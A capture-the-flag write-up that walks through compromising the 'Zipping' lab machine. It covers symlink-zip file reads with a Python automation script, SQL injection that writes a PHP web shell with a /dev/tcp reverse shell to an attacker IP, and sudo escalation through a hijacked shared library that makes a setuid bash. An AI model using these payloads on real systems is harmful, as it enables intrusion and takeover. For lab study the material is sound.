zipping.png

Zipping#

Enum#

nmap -sC -sV -Pn 10.10.11.229 -oN scans/nmap.initial
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 16:11 GMT
Nmap scan report for 10.10.11.229
Host is up (0.027s latency).
Not shown: 840 closed tcp ports (conn-refused), 158 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
curl -I http://10.10.11.229
HTTP/1.1 200 OK
Date: Sun, 29 Oct 2023 16:13:52 GMT
Server: Apache/2.4.54 (Ubuntu)
Content-Type: text/html; charset=UTF-8

There’s an upload page which does only accept zip files with one pdf in it.

Arbitrary file read#

Setup a file.pdf that is a symlink to /etc/passwd

ln -s /etc/passwd file.pdf
ls -la file.pdf
lrwxrwxrwx 1 blnkn blnkn 11 Oct 29 17:06 file.pdf -> /etc/passwd

Zip it, with the symlink as such instead of compressing and storing the file referred to by the link

zip --symlink -r file file.pdf
ls -la file.zip
-rw-r--r-- 1 blnkn blnkn 839 Oct 29 17:07 file.zip

Upload and curl the result

curl -s http://10.10.11.229/uploads/642147a874e4dbb4959086f0e6a9188d/file.pdf |grep sh$
root:x:0:0:root:/root:/bin/bash
rektsu:x:1001:1001::/home/rektsu:/bin/bash

Automating the process#

This is how the upload feature works

<?php
if(isset($_POST['submit'])) {
  // Get the uploaded zip file
  $zipFile = $_FILES['zipFile']['tmp_name'];
  if ($_FILES["zipFile"]["size"] > 300000) {
    echo "<p>File size must be less than 300,000 bytes.</p>";
  } else {
    // Create an md5 hash of the zip file                                                                                                                                                             $fileHash = md5_file($zipFile);
    // Create a new directory for the extracted files
    $uploadDir = "uploads/$fileHash/";
    $tmpDir = sys_get_temp_dir();
    // Extract the files from the zip
    $zip = new ZipArchive;
    if ($zip->open($zipFile) === true) {
      if ($zip->count() > 1) {
      echo '<p>Please include a single PDF file in the archive.<p>';
      } else {
      // Get the name of the compressed file
      $fileName = $zip->getNameIndex(0);
      if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
        $uploadPath = $tmpDir.'/'.$uploadDir;
        echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
        if (file_exists($uploadPath.$fileName)) {
          mkdir($uploadDir);
          rename($uploadPath.$fileName, $uploadDir.$fileName);
        }
        echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
      } else {
        echo "<p>The unzipped file must have  a .pdf extension.</p>";
      }
     }
    } else {
          echo "Error uploading file.";
    }

Looks like the name and filename matter, I believe it needs to be a name=zipFile and filename=something.zip

And this is pretty much what the payload should look like according to burp

curl --X POST \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------2882812691696788429152111510' \
    -b 'PHPSESSID=hbgid28hhen8m2b0648svpgg0u' \
    --data-binary \
'
-----------------------------2882812691696788429152111510
\x0d\x0a
Content-Disposition: form-data; name=\"zipFile\"; filename=\"file.zip\"\x0d\x0aContent-Type: application/zip\x0d\x0a\x0d\x0aPK\x03\x04\x0a\x00\x00\x00\x00\x00(\xb7]W\xdc.C\x92\x1b\x00\x00\x00\x1b\x00\x00\x00\x08\x00\x1c\x00file.pdfUT\x09\x00\x03K\xe3>eN\xe3>eux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00/var/www/html/shop/cart.phpPK\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00(\xb7]W\xdc.C\x92\x1b\x00\x00\x00\x1b\x00\x00\x00\x08\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xa1\x00\x00\x00\x00file.pdfUT\x05\x00\x03K\xe3>eux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00N\x00\x00\x00]\x00\x00\x00\x00\x00
\x0d\x0a
-----------------------------2882812691696788429152111510
\x0d\x0a
Content-Disposition: form-data; name=\"submit\"
\x0d\x0a
\x0d\x0a
\x0d\x0a
-----------------------------2882812691696788429152111510
--
\x0d\x0a
'

'http://10.10.11.229/upload.php'

After experimenting a little it looks like we can’t really do this with requests, as far as I can tell requests doesn’t provide that level of granularity, and just automatically matches name with the filename.

So I ended up borrowing a chunk of code form stack overflow to build the payload manually with http.client

import subprocess
import argparse
import http.client
import uuid
import requests
from bs4 import BeautifulSoup


def do_the_symlink(link_path, file_name):
    res = subprocess.run(
        [f"rm {file_name}.pdf"],
        shell=True,
        capture_output=True,
        text=True
    )
    # print(res.stdout)
    # print(res.stderr)

    res = subprocess.run(    # noqa F841
        [f"ln -s {link_path} {file_name}.pdf"],
        shell=True,
        capture_output=True,
        text=True
    )
    # print(res.stdout)
    # print(res.stderr)


def do_the_zip(file_name):
    res = subprocess.run(
        [f"rm {file_name}.zip"],
        shell=True,
        capture_output=True,
        text=True
    )
    # print(res.stdout)
    # print(res.stderr)

    res = subprocess.run(    # noqa F841
        [f"zip --symlink -r {file_name}.zip {file_name}.pdf"],
        shell=True,
        capture_output=True,
        text=True
    )
    # print(res.stdout)
    # print(res.stderr)


def send_the_zip(file_name):

    # Prepare the file content
    file_path = f"{file_name}.zip"
    with open(file_path, "rb") as f:
        file_content = f.read()

    # Define the boundary
    boundary = str(uuid.uuid4())
    headers = {
        'Content-Type': f"multipart/form-data; boundary={boundary}",
    }

    # Create HTTP connection proxied through burp
    conn = http.client.HTTPConnection("127.0.0.1", port="8080")
    conn.set_tunnel(
      "10.10.11.229"
    )

    # Create multipart/form-data payload
    payload = \
        f"--{boundary}\r\n" \
        "Content-Disposition: form-data; name=\"zipFile\"; " \
        f"filename=\"{file_name}.zip\"\r\n" \
        "Content-Type: application/zip\r\n" \
        "\r\n".encode() + file_content + "\r\n" \
        f"--{boundary}\r\n" \
        "Content-Disposition: form-data; name=\"submit\"\r\n" \
        "\r\n" \
        "\r\n" \
        f"--{boundary}--\r\n".encode()

    # Send the request
    conn.request("POST", "/upload.php", body=payload, headers=headers)

    # Get the response
    response = conn.getresponse()
    data = response.read()

    # Close the connection
    conn.close()

    # Print response
    # print(response.status, response.reason)
    # print(data.decode("utf-8"))

    return data


def get_the_link(data):
    soup = BeautifulSoup(data.decode("utf-8"), features="html.parser")
    res = soup.find("section", {"id": "work"})
    link = res.div.a.text
    return f"http://10.10.11.229/{link}"


def get_the_file(link):
    data = requests.get(link)
    data.status_code
    file = data.text
    print(file)


if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument("-p", help="Path of the file to extract")
    args = parser.parse_args()
    link_path = args.p
    file_name = "file"

    do_the_symlink(link_path, file_name)
    do_the_zip(file_name)
    response = send_the_zip(file_name)
    link = get_the_link(response)
    get_the_file(link)
python3 zipper.py -p /var/www/html/shop/cart.php > ../loot/cart.php

SQL injection#

Looking at cart.php, it’s kinda funny to read, the dev is basically like: “Yea… I don’t really like my boss, sooo I like to spice things up a little”.

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity                                                                                                                                              $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

functions.php

<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'M**************';
    $DATABASE_NAME = 'zipping';
    try {
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');
    }
}

Building a test setup for the mysql db

docker run --rm --name mysql -e MYSQL_ROOT_PASSWORD='M**************' -d -p 127.0.0.1:3306:3306 mysql
21d6b47dc4080acbedc0495e3a9426b079eafeb2bd7c3bccb32c98918d432981

I’ll just change localhost to 127.0.0.1 explicitely for the local version

Creating the zipping database

mysql -u root -h 127.0.0.1 --password='mySQL_p@ssw0rd!:)'
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.2.0 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> create database zipping;
Query OK, 1 row affected (0.019 sec)

MySQL [(none)]> Bye

Connecting to zipping and creating the products table based on the error we get when hitting the website

mysql -u root -h 127.0.0.1 --password='M**************' -D zipping
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.2.0 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [zipping]> create table products(
    -> id varchar(50),
    -> name varchar(50),
    -> date_added varchar(50),
    -> img varchar(50),
    -> price varchar(50),
    -> rrp varchar(50)
    -> );
Query OK, 0 rows affected (0.059 sec)

MySQL [zipping]> insert into products values(1,'thing','05/11/2023', '', '', '');
Query OK, 1 row affected (0.012 sec)

MySQL [zipping]> select * from products;
+------+-------+------------+------+-------+------+
| id   | name  | date_added | img  | price | rrp  |
+------+-------+------------+------+-------+------+
| 1    | thing | 05/11/2023 |      |       |      |
+------+-------+------------+------+-------+------+
1 row in set (0.002 sec)

MySQL [zipping]>

And now we have working local vesion of the site to play

php -S localhost:8080 -f index.php
[Sun Nov  5 17:48:20 2023] PHP 8.2.12 Development Server (http://localhost:8080) started
[Sun Nov  5 17:48:23 2023] [::1]:34620 Accepted
[Sun Nov  5 17:48:23 2023] [::1]:34620 [200]: GET /index.php
[Sun Nov  5 17:48:23 2023] [::1]:34620 Closing

This is what we wanna achieve, but executed on our local setup, note that the outfile path isn’t exatly the same:

MySQL [zipping]> select from_base64('cHJvZHVjdHM=') into outfile '/var/lib/mysql-files/shell.php';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%0A' at line 1
Query OK, 1 row affected (0.002 sec)
bash-4.4# cat shell.php
products

Preparing a shell

cat shell.sh
bash -i >& /dev/tcp/10.10.14.185/4242 0>&1
cat shell.sh|base64|pbcopy
cat shell.php
<?php exec("printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODUvNDI0MiAwPiYxCg== | base64 -d | bash"); ?>
cat shell.php|base64 -w0|pbcopy
PD9waHAgZXhlYygicHJpbnRmIFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNQzR4TUM0eE5DNHhPRFV2TkRJME1pQXdQaVl4Q2c9PSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4K

The newline character isn’t part of the preg filter, so we should be able to use this to bypass the filter altogether, then use from_base64 to bring our reverse shell, and into outfile to write into /var/li/mysql since this is running as root

%0A';select from_base64('PD9waHAgZXhlYygicHJpbnRmIFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNQzR4TUM0eE5DNHhPRFV2TkRJME1pQXdQaVl4Q2c9PSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4K') into outfile '/var/lib/mysql/shell.php'; --1
%0A'%3bselect+from_base64('PD9waHAgZXhlYygicHJpbnRmIFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNQzR4TUM0eE5DNHhPRFV2TkRJME1pQXdQaVl4Q2c9PSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4K')+into+outfile+'/var/lib/mysql/shell.php'%3b+--1
quantity=1&product_id=%0A'%3bselect+from_base64('PD9waHAgZXhlYygicHJpbnRmIFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNQzR4TUM0eE5DNHhPRFV2TkRJME1pQXdQaVl4Q2c9PSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4K')+into+outfile+'/var/lib/mysql/shell.php'%3b+--1

And finally we can just use this to execute the php reverse shell with a get

xdg-open 'http://10.10.11.229/shop/index.php?page=/var/lib/mysql/shell'

Privesc#

rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock
file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

There is no netcat on this box but the binary is very small so I just exfiltrated in base64 form through the clipboard, then a quick look at it through strings gives us the password since it is hardcoded in the binary:

strings stock|grep pass -B4 -A4
u+UH
Hakaize
S***********
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program

Running strace against it we can see that it attempts to load a shared library in rektsu’s home which doesn’t exist

openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = 3

So we can write one that spawns a shell

rektsu@zipping:/tmp$ nano libcounter.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
rektsu@zipping:/tmp$ gcc -c -o libcounter.o libcounter.c
rektsu@zipping:/tmp$ gcc -shared -o libcounter.so libcounter.o
rektsu@zipping:/tmp$ ls -lart libcounter*
-rw-rw-r-- 1 rektsu rektsu   183 Nov  5 19:24 libcounter.c
-rw-rw-r-- 1 rektsu rektsu  1728 Nov  5 19:32 libcounter.o
-rwxrwxr-x 1 rektsu rektsu 15544 Nov  5 19:32 libcounter.so
rektsu@zipping:/tmp$ cp libcounter.so ~/.config/libcounter.so
rektsu@zipping:~/.config$ sudo stock
Enter the password: S***********
root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)
root@zipping:/home/rektsu/.config#

And we’re root